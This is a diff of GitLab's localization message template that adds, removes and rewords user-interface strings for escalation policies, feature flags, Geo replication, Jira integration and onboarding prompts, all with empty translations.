+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
